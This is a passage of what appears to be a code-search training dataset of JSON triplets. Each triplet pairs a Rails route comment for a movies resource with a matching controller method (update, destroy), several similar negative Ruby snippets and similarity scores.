:synopsys, :url, :genre_id)\n end", "def movie_params\n params.require(:movie).permit(:title, :year, :released, :url, :trailer, :runtime, :tagline, :certification, :imdb_id, :tmdb_id, :poster, :watchers)\n end", "def movie_params\n params.require(:movie).permit(:title, :imdb_url, :watch_url, :date_watched, :location_watched,\n :category_id, :watchlist_id, :our_rating, :notes, :imdb_artwork, :imdb_plot_summary,\n :imdb_rating, :imdb_genre, :preview_link, :runtime, :been_watched, :year_released, :bypassapi, :imdbID, :imdb_actors)\n end", "def create\n @bollywood_movie = BollywoodMovie.new(params[:bollywood_movie])\n\n respond_to do |format|\n if @bollywood_movie.save\n format.html { redirect_to @bollywood_movie, :notice => 'Bollywood movie was successfully created.' }\n format.json { render :json => @bollywood_movie, :status => :created, :location => @bollywood_movie }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @bollywood_movie.errors, :status => :unprocessable_entity }\n end\n end\n end", "def movie_params\n params.require(:movie).permit(:title, :genre, :list, :rating)\n end", "def get_all_movies_for_actor(actor)\n url = \"http://movies.api.mks.io/movies\"\n response = RestClient.get(url, accept: 'application/json')\n\nend", "def create\n @movie_model = MovieModel.new(movie_model_params)\n\n respond_to do |format|\n if @movie_model.save\n format.html { redirect_to @movie_model, notice: 'Movie model was successfully created.' }\n format.json { render action: 'show', status: :created, location: @movie_model }\n else\n format.html { render action: 'new' }\n format.json { render json: @movie_model.errors, status: :unprocessable_entity }\n end\n end\n end", "def movie_params\n params.require(:movie).permit(:id, :imdb_id, :title, :overview, :poster_path, :runtime, :tagline, :tmdb_id, :homepage, :popularity, :vote_average, :adult)\n end", "def create\r\n # session is a rails way of storing data temporarily in a cookie\r\n if session[:movies] == nil\r\n session[:movies] = []\r\n end\r\n\r\n session[:movies].push(params[:movie])\r\n puts \"session movie data\"\r\n puts session[:movies]\r\n\r\n redirect_to movie_path(session[:movies].length - 1) #pass the last movie we just added to the show page and redirect there\r\n # puts \"===================\"\r\n # puts params[:movie]\r\n # puts \"===================\"\r\n # @movies = []\r\n # @movies.push(params[:movie])\r\n end", "def movie_params\n params.require(:movie).permit(:content, :imdb_id, :year, :filename, :imdb_rating, :name)\n end", "def create\n respond_to do |format|\n if logged_in?\n @user = current_user\n @movie = Movie.find_or_create_by(id: params[:movie_id], title: params[:title])\n @rating = Rating.new(user_id: @user.id, movie_id: @movie.id, rating: params[:rating])\n\n if @rating.save\n format.json { render json: @rating }\n else\n format.json { render json: @rating.errors, status: :unprocessable_entity }\n end\n else \n format.json { head :no_content }\n end\n end\n end", "def movie_params\n params.require(:movie).permit(:title, :desc, :image_url)\n end", "def movie_params\n params.require(:movie).permit(:title, :poster, :rating, :overview)\n end", "def create\n @movie_crew = MovieCrew.new(movie_crew_params)\n\n respond_to do |format|\n if @movie_crew.save\n format.html { redirect_to @movie_crew, notice: \"Movie crew was successfully created.\" }\n format.json { render :show, status: :created, location: @movie_crew }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @movie_crew.errors, status: :unprocessable_entity }\n end\n end\n end", "def search_movie(title)\n headers = {\n accept: 'application/json',\n api_key: ENV['TMDB_API_KEY'],\n content_type: 'json',\n query: title,\n }\n\n response = RestClient.get \"https://api.themoviedb.org/3/search/movie/\", { params: headers }\n json_response = JSON.parse(response)\n\n return json_response\n end", "def movie_params\n params.require(:movie).permit(:title, :synopsis, :release_date, :director)\n end", "def movie_params\n params.require(:movie).permit(:title, :rating, :description, :release_date, :director)\n end", "def movie_params\n params.require(:movie).permit(:title, :rating, :description, :release_date, :director)\n end" ]
[ "0.6937797", "0.6906045", "0.6906045", "0.6906045", "0.6906045", "0.6906045", "0.68716276", "0.6845159", "0.6837111", "0.6837111", "0.6837111", "0.6837111", "0.6837111", "0.6837111", "0.6837111", "0.6837111", "0.6837111", "0.6773142", "0.677238", "0.677238", "0.6763869", "0.6706291", "0.65876913", "0.65876913", "0.6586264", "0.6527777", "0.64678204", "0.6426256", "0.641306", "0.6407162", "0.6388531", "0.63827145", "0.6381247", "0.6371686", "0.6352274", "0.6349264", "0.63491684", "0.6345168", "0.6345168", "0.6345168", "0.6345168", "0.6345168", "0.6345168", "0.6345168", "0.6345168", "0.6345168", "0.63412523", "0.63178146", "0.6311591", "0.63037694", "0.6287914", "0.62836", "0.62832576", "0.6272802", "0.62587285", "0.6253791", "0.6241295", "0.6240111", "0.62341", "0.6224765", "0.6197571", "0.6186293", "0.61807364", "0.6173463", "0.6170678", "0.6160969", "0.6160857", "0.61422676", "0.6141851", "0.61376995", "0.61242354", "0.61180806", "0.61163926", "0.6109142", "0.60934913", "0.6088776", "0.60869265", "0.608566", "0.6085205", "0.6077368", "0.6077368", "0.60722256", "0.60590196", "0.60513026", "0.604681", "0.6043154", "0.6036398", "0.6035646", "0.6035296", "0.6031264", "0.602024", "0.5996186", "0.5994278", "0.5993531", "0.59880835", "0.59837484", "0.59810233", "0.59764344", "0.5965103", "0.5965103" ]
0.6847402
7
PATCH/PUT /movies/1 PATCH/PUT /movies/1.json
def update respond_to do |format| if @movie.update(movie_params) format.html { redirect_to @movie, notice: 'Movie was successfully updated.' } format.json { render :show, status: :ok, location: @movie } else format.html { render :edit } format.json { render json: @movie.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n if @movie.update_attributes(params[:movie])\n format.html { redirect_to @movie, notice: 'Movie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n if @movie.update_attributes(params[:movie])\n format.html { redirect_to @movie, notice: 'Movie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n if @movie.update_attributes(params[:movie])\n format.html { redirect_to @movie, notice: 'Movie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n if @movie.update_attributes(params[:movie])\n format.html { redirect_to @movie, notice: 'Movie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n if @movie.update_attributes(params[:movie])\n format.html { redirect_to @movie, notice: 'Movie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n if @movie.update_attributes(params[:movie])\n format.html { redirect_to @movie, notice: 'Movie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @movie.update(movie_params)\n format.html { redirect_to @movie, notice: 'Movie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @movie.update(movie_params)\n format.html { redirect_to @movie, notice: 'Movie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @movie.update(movie_params)\n format.html { redirect_to @movie, notice: 'Movie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #remove bypassapi from the params because it's not in the database\n newparams = movie_params.delete_if{|k,v| k == \"bypassapi\"}\n respond_to do |format|\n if @movie.update(newparams)\n format.html { redirect_to movies_url, notice: 'Movie was successfully updated.' }\n format.json { render :show, status: :ok, location: @movie }\n else\n format.html { render :edit }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @movie.update(movie_params)\n format.html {redirect_to @movie, notice: 'Movie was successfully updated.'}\n format.json {render :show, status: :ok, location: @movie}\n else\n format.html {render :edit}\n format.json {render json: @movie.errors, status: :unprocessable_entity}\n end\n end\n end", "def update\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n if @movie.update_attributes(movie_params)\n format.html { redirect_to @movie, notice: 'La pelicula ha sido actualizada correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @movie.update(movie_params)\n format.json { render :show, status: :ok, location: @movie }\n else\n format.json do\n render json: @movie.errors, status: :unprocessable_entity\n end\n end\n end\n end", "def update\n respond_to do |format|\n if @movie.update(movie_params_update)\n format.html { redirect_to user_list_movies_url, notice: 'Movie was successfully updated.' }\n format.json { render :show, status: :ok, location: @movie }\n else\n format.html { render :edit }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @movie_model.update(movie_model_params)\n format.html { redirect_to @movie_model, notice: 'Movie model was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @movie_model.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n\n prepare_movie(false)\n\n respond_to do |format|\n if @movie.update(movie_params)\n format.html { redirect_to @movie, notice: 'Movie was successfully updated.' }\n format.json { render :show, status: :ok, location: @movie }\n else\n format.html { render :edit }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize! :update, @movie\n\n respond_to do |format|\n if @movie.update(movie_params)\n format.html { redirect_to @movie, notice: 'Movie was successfully updated.' }\n format.json { render :show, status: :ok, location: @movie }\n else\n format.html { render :edit }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @movie = Movie.find(params[:id])\n if params[:movie][:actors]\n params[:movie][:actors].map!{ |id|\n Actor.find(id)\n }\n else\n params[:movie][:actors] = []\n end\n if params[:movie][:genres]\n params[:movie][:genres].map!{ |id|\n Genre.find(id)\n }\n else\n params[:movie][:genres] = []\n end\n if params[:movie][:directors]\n params[:movie][:directors].map!{ |id|\n Director.find(id)\n }\n else\n params[:movie][:directors] = []\n end\n\n respond_to do |format|\n if @movie.update_attributes(params[:movie])\n format.html { redirect_to @movie, notice: 'Movie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @omdb_movie.update(omdb_movie_params)\n format.html { redirect_to @omdb_movie, notice: 'Omdb movie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @omdb_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @movie.update(movie_params)\n format.html { redirect_to @movie, notice: '更新しました' }\n format.json { render :show, status: :ok, location: @movie }\n else\n format.html { render :edit }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n if @movie.update_attributes(params[:movie])\n format.html { redirect_to(@movie, :notice => 'Movie was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @movie.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n if @movie.update_attributes(params[:movie])\n format.html { redirect_to(@movie, :notice => 'Movie was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @movie.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n if @movie.update_attributes(params[:movie])\n format.html { redirect_to(edit_movie_path(@movie), :notice => 'Movie was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @movie.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @user = current_user\n @review = Review.find(params[:id])\n @review.update_attributes(review_params)\n render json: @review, include: [:movie]\n end", "def update\n @movie_info = MovieInfo.find(params[:id])\n \n respond_to do |format|\n if @movie_info.update_attributes(params[:movie_info])\n format.html { redirect_to @movie_info, notice: 'Movie info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @movie_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @watched_movie = WatchedMovie.find(params[:id])\n\n respond_to do |format|\n if @watched_movie.update_attributes(params[:watched_movie])\n format.html { redirect_to @watched_movie, notice: 'Watched movie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @watched_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @movies_ive_watched.update(movies_ive_watched_params)\n format.html { redirect_to @movies_ive_watched, notice: 'Movies ive watched was successfully updated.' }\n format.json { render :show, status: :ok, location: @movies_ive_watched }\n else\n format.html { render :edit }\n format.json { render json: @movies_ive_watched.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n if @movie.update(movie_params)\n format.html { redirect_to movie_url(@movie), notice: \"Movie was successfully updated.\" }\n else\n format.html { render :edit, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @theatre_movie.update(theatre_movie_params)\n format.html { redirect_to @theatre_movie, notice: 'Theatre movie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @theatre_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @movie_item = MovieItem.find(params[:id])\n\n respond_to do |format|\n if @movie_item.update_attributes(params[:movie_item])\n format.html { redirect_to @movie_item, notice: 'Movie item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @movie_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def put!\n request! :put\n end", "def update\n respond_to do |format|\n if @movie.update(movie_params)\n format.html { redirect_to @movie, notice: \"Movie was successfully updated.\" }\n format.json { render :show, status: :ok, location: @movie }\n format.js\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n add_director\n add_actors\n respond_to do |format|\n if @movie.update(movie_params)\n format.html { redirect_to @movie, notice: 'Movie was successfully updated.' }\n format.json { render :show, status: :ok, location: @movie }\n else\n format.html { render :edit }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @moose = Moose.find(params[:id])\n\n respond_to do |format|\n if @moose.update_attributes(params[:moose])\n format.html { redirect_to @moose, notice: 'Moose was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @moose.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @movie = @catalogue.movies.find(params[:id])\n data = params[:movie]\n if(data.has_key?(\"genres\"))\n\t\tids = Genre.get_ids(data[:genres])\n\t\tdata.delete(\"genres\")\n\tend\n\t@movie.enable_dirty_associations do\n\t\tunless ids == nil\n\t\t\t@movie.genre_ids = ids\n\t end\n\n\t respond_to do |format|\n\t if @movie.update_attributes(data)\n\t format.html { redirect_to(@movie, :notice => 'Movie was successfully updated.') }\n\t format.xml { head :ok }\n\t format.json { render :json => {:success => true} }\n\t else\n\t format.html { render :action => \"edit\" }\n\t format.xml { render :xml => @movie.errors, :status => :unprocessable_entity }\n\t format.json { render :json => {:success => false, :errors => @movie.errors} }\n\t end\n\t end\n end\n end", "def update\n respond_to do |format|\n if @actors_movie.update(actors_movie_params)\n format.html { redirect_to @actors_movie, notice: 'Actors movie was successfully updated.' }\n format.json { render :show, status: :ok, location: @actors_movie }\n else\n format.html { render :edit }\n format.json { render json: @actors_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @movie = @category.movies.find(params[:id])\n\n respond_to do |format|\n if @movie.update_attributes(params[:movie])\n flash[:notice] = 'Movie was successfully updated.'\n format.html { redirect_to(category_movie_url(@category, @movie)) }#, notice: 'Movie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bollywood_movie = BollywoodMovie.find(params[:id])\n\n respond_to do |format|\n if @bollywood_movie.update_attributes(params[:bollywood_movie])\n format.html { redirect_to @bollywood_movie, :notice => 'Bollywood movie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bollywood_movie.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @type_movie.update(type_movie_params)\n format.html { redirect_to @type_movie, notice: 'Type movie was successfully updated.' }\n format.json { render :show, status: :ok, location: @type_movie }\n else\n format.html { render :edit }\n format.json { render json: @type_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end", "def update\n @video.update(video_params)\n render json: @video\n end", "def update\n @role_in_a_movie = RoleInAMovie.find(params[:id])\n\n respond_to do |format|\n if @role_in_a_movie.update_attributes(params[:role_in_a_movie])\n format.html { redirect_to @role_in_a_movie, notice: 'Role in a movie was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @role_in_a_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @movie_participant.update(movie_participant_params)\n format.html { redirect_to @movie_participant, notice: 'Movie participant was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @movie_participant.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @theatre_movie.update(theatre_movie_params)\n format.html { redirect_to @theatre_movie, notice: 'Theatre movie was successfully updated.' }\n format.json { render :show, status: :ok, location: @theatre_movie }\n else\n format.html { render :edit }\n format.json { render json: @theatre_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #@user = User.find(params[:id])\n \n if @film.update(film_params)\n render JSON: @film\n else\n render JSON: @film.errors, status: :unprocessable_entity\nend\nend", "def update\n respond_to do |format|\n if @cinema_movie.update(cinema_movie_params)\n format.html { redirect_to @cinema_movie, notice: 'Cinema movie was successfully updated.' }\n format.json { render :show, status: :ok, location: @cinema_movie }\n else\n format.html { render :edit }\n format.json { render json: @cinema_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tmdbmovie.update(tmdbmovie_params)\n format.html { redirect_to @tmdbmovie, notice: 'Tmdbmovie was successfully updated.' }\n format.json { render :show, status: :ok, location: @tmdbmovie }\n else\n format.html { render :edit }\n format.json { render json: @tmdbmovie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @film.update(film_params)\n format.html { redirect_to @film, notice: 'Film mis a jour.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @film.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @cinemas_movie = CinemasMovie.find(params[:id])\n\n respond_to do |format|\n if @cinemas_movie.update_attributes(params[:cinemas_movie])\n format.html { redirect_to @cinemas_movie, :notice => 'Cinemas Movie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @cinemas_movie.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n @movie.reload\n if @movie.update_attributes(params[:movie])\n flash[:notice] = 'Movie was successfully updated.'\n format.html { render 'maintenance/index', :layout => 'maintenance' }\n format.js\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.js\n format.xml { render :xml => @movie.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @genres_movie.update(genres_movie_params)\n format.html { redirect_to @genres_movie, notice: 'Genres movie was successfully updated.' }\n format.json { render :show, status: :ok, location: @genres_movie }\n else\n format.html { render :edit }\n format.json { render json: @genres_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update\n @review = Review.find(params[:id])\n @review.update(review_params)\n render json: @review\n end", "def update\n respond_to do |format|\n if @movie_type.update(movie_type_params)\n format.html { redirect_to @movie_type, notice: 'Movie type was successfully updated.' }\n format.json { render :show, status: :ok, location: @movie_type }\n else\n format.html { render :edit }\n format.json { render json: @movie_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n actors = Actor.find movie_params[:actor_ids].reject! { |c| c.empty? }\n \n @movie.actors = actors\n photo = self.upload_album_photo\n @movie.photos << photo if photo\n\n data = movie_params\n data[:picture] = self.upload_photo\n\n\n if @movie.update(data)\n format.html { redirect_to @movie, notice: 'Movie was successfully updated.' }\n format.json { render :show, status: :ok, location: @movie }\n else\n format.html { render :edit }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def update\n @movie = Movie.find params[:id]\n if @movie.update_attributes(movie_params)\n flash[:notice] = \"#{@movie.title} was successfully updated.\"\n redirect_to movie_path(@movie)\n else\n render 'edit'\n end\n end", "def update\n @movie = Movie.find params[:id]\n if @movie.update_attributes(movie_params)\n flash[:notice] = \"#{@movie.title} was successfully updated.\"\n redirect_to movie_path(@movie)\n else\n render 'edit'\n end\n end", "def update\n @todo = Todo.find(params[:id])\n if @todo.update_attributes(todo_params)\n render json: @todo, status: :ok\n else\n render json: @todo.errors, status: 422\n end\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def update\n animal = Animal.find(params[:id])\n\n if validate_params(animal_params)\n animal.update(animal_params)\n render json: animal, status: 200, location: [:api, animal]\n else\n render json: { errors: animal.errors }, status: 422\n end\n end", "def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @moviepost.update(moviepost_params)\n format.html { redirect_to @moviepost, notice: 'Moviepost was successfully updated.' }\n format.json { render :show, status: :ok, location: @moviepost }\n else\n format.html { render :edit }\n format.json { render json: @moviepost.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @moviie.update(moviie_params)\n format.html { redirect_to @moviie, notice: 'Moviie was successfully updated.' }\n format.json { render :show, status: :ok, location: @moviie }\n else\n format.html { render :edit }\n format.json { render json: @moviie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n put :update\n end", "def update\n respond_to do |format|\n if @categories_movie.update(categories_movie_params)\n format.html { redirect_to @categories_movie, notice: 'Categories movie was successfully updated.' }\n format.json { render :show, status: :ok, location: @categories_movie }\n else\n format.html { render :edit }\n format.json { render json: @categories_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n dream = Dream.find params[:id]\n dream.update dream_params\n render json: {dream: dream}\n end", "def update\n respond_to do |format|\n if @movie_crew.update(movie_crew_params)\n format.html { redirect_to @movie_crew, notice: \"Movie crew was successfully updated.\" }\n format.json { render :show, status: :ok, location: @movie_crew }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @movie_crew.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n movie = Movie.find(params[:movie_id])\n review = Review.find(params[:id])\n review.update(review_params)\n redirect_to '/movies/#{movies.id}/reviews/#{review.id}'\n end", "def update\n @unseen_movie = UnseenMovie.find(params[:id])\n\n respond_to do |format|\n if @unseen_movie.update_attributes(params[:unseen_movie])\n format.html { redirect_to @unseen_movie, notice: 'Unseen movie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @unseen_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @film_actor.update(film_actor_params)\n format.html { redirect_to @film_actor, notice: 'Film actor was successfully updated.' }\n format.json { render :show, status: :ok, location: @film_actor }\n else\n format.html { render :edit }\n format.json { render json: @film_actor.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @movieupload.update(movieupload_params)\n format.html { redirect_to @movieupload, notice: 'Movieupload was successfully updated.' }\n format.json { render :show, status: :ok, location: @movieupload }\n else\n format.html { render :edit }\n format.json { render json: @movieupload.errors, status: :unprocessable_entity }\n end\n end\n end", "def movie_params_update\n # params.fetch(:movie, {})\n params.require(:movie).permit(:title, :director, :synopsis, :year, :runtime, :rating)\n end", "def update\n respond_to do |format|\n if @movie_event.update(movie_event_params)\n format.html { redirect_to @movie_event, notice: 'Movie event was successfully updated.' }\n format.json { render :show, status: :ok, location: @movie_event }\n else\n format.html { render :edit }\n format.json { render json: @movie_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @film.update(film_params)\n format.html { redirect_to @film, notice: 'Filme atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @film.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @movie_company.update(movie_company_params)\n format.html { redirect_to @movie_company, notice: 'Movie company was successfully updated.' }\n format.json { render :show, status: :ok, location: @movie_company }\n else\n format.html { render :edit }\n format.json { render json: @movie_company.errors, status: :unprocessable_entity }\n end\n end\n end", "def update # PATCH\n raise NotImplementedError\n end", "def update\n\n if @movie.rating.nil?\n @movie.rating = 0\n end\n\n respond_to do |format|\n if @movie.update(movie_params)\n format.html { redirect_to @movie, notice: 'Movie was successfully updated.' }\n format.json { render :show, status: :ok, location: @movie }\n else\n #dev pro-tip: if update fails, it will rerender form but not call \n # edit controller method, so be sure to supply\n # any needed instance vars before re-rendering:\n @checkout_users = User.for_team(current_user.team_id)\n format.html { render :edit }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @json.update(json_params)\n format.html { redirect_to @json, notice: 'Json was successfully updated.' }\n format.json { render :show, status: :ok, location: @json }\n else\n format.html { render :edit }\n format.json { render json: @json.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @json.update(json_params)\n format.html { redirect_to @json, notice: 'Json was successfully updated.' }\n format.json { render :show, status: :ok, location: @json }\n else\n format.html { render :edit }\n format.json { render json: @json.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit\n @movie = Movie.find params[:id]\n end" ]
[ "0.6822852", "0.6822852", "0.6822852", "0.6822852", "0.6822852", "0.6822852", "0.6808521", "0.6808521", "0.6808521", "0.6738241", "0.6642519", "0.6634734", "0.6623662", "0.65999764", "0.6576408", "0.6529476", "0.65115124", "0.648043", "0.64515513", "0.64442456", "0.6431154", "0.6431154", "0.6430931", "0.6426739", "0.6421863", "0.6411491", "0.64051473", "0.6394902", "0.6342159", "0.63285446", "0.63005126", "0.62668365", "0.6235197", "0.6226967", "0.62141144", "0.6213024", "0.62074953", "0.6186934", "0.61831784", "0.6163948", "0.61494696", "0.61416155", "0.6139349", "0.6138844", "0.61381555", "0.612538", "0.61032736", "0.60884625", "0.6068466", "0.606428", "0.6064124", "0.60626286", "0.6016163", "0.6004425", "0.60024446", "0.5998609", "0.59924513", "0.5985817", "0.5985817", "0.59741145", "0.59741145", "0.5953238", "0.59446406", "0.5940965", "0.59406406", "0.5937539", "0.59316045", "0.5927748", "0.5926418", "0.5923875", "0.5920373", "0.59130174", "0.59087837", "0.5896483", "0.5851699", "0.58431673", "0.5842298", "0.5811317", "0.58089846", "0.58053136", "0.57996875", "0.5772622", "0.5772622", "0.5766442" ]
0.6672123
23
DELETE /movies/1 DELETE /movies/1.json
def destroy @movie.destroy respond_to do |format| format.html { redirect_to movies_url, notice: 'Movie was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
